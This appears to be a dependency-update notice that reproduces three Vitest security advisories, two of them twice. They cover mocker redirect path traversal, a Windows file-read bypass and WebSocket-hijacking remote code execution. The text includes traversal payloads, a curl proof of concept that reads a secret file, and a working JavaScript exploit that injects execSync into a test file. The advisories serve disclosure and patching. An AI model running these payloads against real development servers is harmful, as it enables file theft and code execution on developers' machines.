🚨 Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock

Summary

@vitest/mocker registers a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin's load hook returns
readFile(<attacker path>) as the module source, disclosing local files.

This is exploitable without authentication only through the public
mockerPlugin / standalone interceptorPlugin exports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).

Affected code

packages/mocker/src/node/interceptorPlugin.ts.

The load hook is the file-read sink:

if (mock.type === 'redirect') {
  return readFile(mock.redirect, 'utf-8')
}

mock.redirect is derived from client input at registration time with no
boundary check:

if (event.type === 'redirect') {
  const redirectUrl = new URL(event.redirect)
  event.redirect = join(server.config.root, redirectUrl.pathname)
}
registry.register(event)

There is no server.fs.allow / server.fs.deny check and no assertion that the
resolved path stays within the project root.

Registration paths and trust boundaries

• Public mockerPlugin / interceptorPlugin (unauthenticated). In
  configureServer, the plugin registers server.ws.on('vitest:interceptor:register', …)
  on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
  check, so any client that can reach it can register a redirect mock. This is
  the path the "unauthenticated" impact applies to.
• Vitest browser mode (authenticated). Mocks register over the browser RPC
  (registerMock), which sits behind a per-run token (isValidApiRequest, a
  random api.token). The interceptor's configureServer socket is not used for
  registration here (in v5 it does not run at all, as the plugin is injected per
  environment). The same missing boundary check exists on the authenticated RPC
  path, but reaching it requires the token, so it is not a remote-unauthenticated
  read.

Path handling

new URL(redirect).pathname combined with join(root, pathname) does not
confine reads to the root:

• Special/hierarchical schemes (file:, http:) are normalized by WHATWG URL,
  so .. segments are collapsed and the result stays under the root. Payloads of
  the form file:///../../etc/passwd do not escape.
• A non-special (opaque) scheme preserves .. in pathname, so
  join(root, "../../…/etc/passwd") resolves outside the root and reads an
  arbitrary file.

Even without escaping the root, the missing server.fs check allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root .env or source that is denied by server.fs.deny).

Scope / preconditions

• This is a development-server issue. The dev server binds to localhost by
  default and is not reachable from the network unless the developer exposes it
  (server.host / 0.0.0.0, a LAN bind, or a proxy).
• A raw (non-browser) client against a reachable server bypasses browser origin
  and CORS protections entirely and can both register the mock and read the
  response.
• A browser-based drive-by against a localhost server is substantially mitigated
  by Vite defaults: the default CORS origin allowlist is limited to localhost
  origins, and server.allowedHosts blocks DNS-rebinding, so a cross-origin page
  cannot read the file contents back.

Impact

Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.

Affected versions

Present since @vitest/mocker was introduced.

• Affected: @vitest/mocker >= 2.1.0 (shipped in vitest and
  @vitest/browser >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.
• Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
  maintained and are not planned to receive the fix.

Fix

Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).

🚨 Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock

Summary

@vitest/mocker registers a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin's load hook returns
readFile(<attacker path>) as the module source, disclosing local files.

This is exploitable without authentication only through the public
mockerPlugin / standalone interceptorPlugin exports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).

Affected code

packages/mocker/src/node/interceptorPlugin.ts.

The load hook is the file-read sink:

if (mock.type === 'redirect') {
  return readFile(mock.redirect, 'utf-8')
}

mock.redirect is derived from client input at registration time with no
boundary check:

if (event.type === 'redirect') {
  const redirectUrl = new URL(event.redirect)
  event.redirect = join(server.config.root, redirectUrl.pathname)
}
registry.register(event)

There is no server.fs.allow / server.fs.deny check and no assertion that the
resolved path stays within the project root.

Registration paths and trust boundaries

• Public mockerPlugin / interceptorPlugin (unauthenticated). In
  configureServer, the plugin registers server.ws.on('vitest:interceptor:register', …)
  on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
  check, so any client that can reach it can register a redirect mock. This is
  the path the "unauthenticated" impact applies to.
• Vitest browser mode (authenticated). Mocks register over the browser RPC
  (registerMock), which sits behind a per-run token (isValidApiRequest, a
  random api.token). The interceptor's configureServer socket is not used for
  registration here (in v5 it does not run at all, as the plugin is injected per
  environment). The same missing boundary check exists on the authenticated RPC
  path, but reaching it requires the token, so it is not a remote-unauthenticated
  read.

Path handling

new URL(redirect).pathname combined with join(root, pathname) does not
confine reads to the root:

• Special/hierarchical schemes (file:, http:) are normalized by WHATWG URL,
  so .. segments are collapsed and the result stays under the root. Payloads of
  the form file:///../../etc/passwd do not escape.
• A non-special (opaque) scheme preserves .. in pathname, so
  join(root, "../../…/etc/passwd") resolves outside the root and reads an
  arbitrary file.

Even without escaping the root, the missing server.fs check allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root .env or source that is denied by server.fs.deny).

Scope / preconditions

• This is a development-server issue. The dev server binds to localhost by
  default and is not reachable from the network unless the developer exposes it
  (server.host / 0.0.0.0, a LAN bind, or a proxy).
• A raw (non-browser) client against a reachable server bypasses browser origin
  and CORS protections entirely and can both register the mock and read the
  response.
• A browser-based drive-by against a localhost server is substantially mitigated
  by Vite defaults: the default CORS origin allowlist is limited to localhost
  origins, and server.allowedHosts blocks DNS-rebinding, so a cross-origin page
  cannot read the file contents back.

Impact

Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.

Affected versions

Present since @vitest/mocker was introduced.

• Affected: @vitest/mocker >= 2.1.0 (shipped in vitest and
  @vitest/browser >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.
• Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
  maintained and are not planned to receive the fix.

Fix

Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).

🚨 When Vitest UI server is listening, arbitrary file can be read and executed

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

• explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
• running the Vitest UI or Browser Mode on Windows

Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.

vitest/packages/ui/node/index.ts

Line 77 in eb1abf0

if (!isFileServingAllowed(ctx.vite.config, fsPath)) {

The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

• vitest/packages/vitest/src/api/setup.ts

  Lines 103 to 105 in eb1abf0

  	if (!isFileServingAllowed(testModule.project.vite.config, moduleId)) {
  	return undefined
  	}

• vitest/packages/vitest/src/api/setup.ts

  Lines 119 to 121 in eb1abf0

  	if (!testModule || !isFileServingAllowed(project.vite.config, moduleId)) {
  	return
  	}

• vitest/packages/browser/src/node/commands/fs.ts

  Lines 10 to 11 in eb1abf0

  	!isFileServingAllowed(path, project.vite)
  	&& !isFileServingAllowed(path, project.vitest.vite)

• vitest/packages/browser/src/node/plugin.ts

  Lines 194 to 196 in eb1abf0

  	if (!isFileServingAllowed(parentServer.vite.config, fsPath)) {
  	return next()
  	}

• vitest/packages/browser/src/node/rpc.ts

  Lines 115 to 121 in eb1abf0

  	function checkFileAccess(path: string) {
  	if (!isFileServingAllowed(path, vite)) {
  	throw new Error(
  	`Access denied to "${path}". See Vite config documentation for "server.fs": https://vitejs.dev/config/server-options.html#server-fs-strict.`,
  	)
  	}
  	}

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC

1. Run Vitest UI
2. Get the API token by curl http://localhost:51204/__vitest__/
3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN" (TOKEN is the API token)
4. curl shows the content of secret.txt that is outside the project directory

Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

🚨 When Vitest UI server is listening, arbitrary file can be read and executed

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

• explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
• running the Vitest UI or Browser Mode on Windows

Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.

vitest/packages/ui/node/index.ts

Line 77 in eb1abf0

if (!isFileServingAllowed(ctx.vite.config, fsPath)) {

The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

• vitest/packages/vitest/src/api/setup.ts

  Lines 103 to 105 in eb1abf0

  	if (!isFileServingAllowed(testModule.project.vite.config, moduleId)) {
  	return undefined
  	}

• vitest/packages/vitest/src/api/setup.ts

  Lines 119 to 121 in eb1abf0

  	if (!testModule || !isFileServingAllowed(project.vite.config, moduleId)) {
  	return
  	}

• vitest/packages/browser/src/node/commands/fs.ts

  Lines 10 to 11 in eb1abf0

  	!isFileServingAllowed(path, project.vite)
  	&& !isFileServingAllowed(path, project.vitest.vite)

• vitest/packages/browser/src/node/plugin.ts

  Lines 194 to 196 in eb1abf0

  	if (!isFileServingAllowed(parentServer.vite.config, fsPath)) {
  	return next()
  	}

• vitest/packages/browser/src/node/rpc.ts

  Lines 115 to 121 in eb1abf0

  	function checkFileAccess(path: string) {
  	if (!isFileServingAllowed(path, vite)) {
  	throw new Error(
  	`Access denied to "${path}". See Vite config documentation for "server.fs": https://vitejs.dev/config/server-options.html#server-fs-strict.`,
  	)
  	}
  	}

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC

1. Run Vitest UI
2. Get the API token by curl http://localhost:51204/__vitest__/
3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN" (TOKEN is the API token)
4. curl shows the content of secret.txt that is outside the project directory

Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

🚨 Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.

vitest/packages/vitest/src/api/setup.ts

Lines 32 to 46 in 9a581e1

	server.httpServer?.on('upgrade', (request, socket, head) => {
	if (!request.url) {
	return
	}
	const { pathname } = new URL(request.url, 'http://localhost')
	if (pathname !== API_PATH) {
	return
	}
	wss.handleUpgrade(request, socket, head, (ws) => {
	wss.emit('connection', ws, request)
	setupClient(ws)
	})
	})

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.

vitest/packages/vitest/src/api/setup.ts

Lines 66 to 76 in 9a581e1

	async saveTestFile(id, content) {
	if (!ctx.state.filesMap.has(id) || !existsSync(id)) {
	throw new Error(
	`Test file "${id}" was not registered, so it cannot be updated using the API.`,
	)
	}
	return fs.writeFile(id, content, 'utf-8')
	},
	async rerun(files, resetTestNamePattern) {
	await ctx.rerunFiles(files, undefined, true, resetTestNamePattern)
	},

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.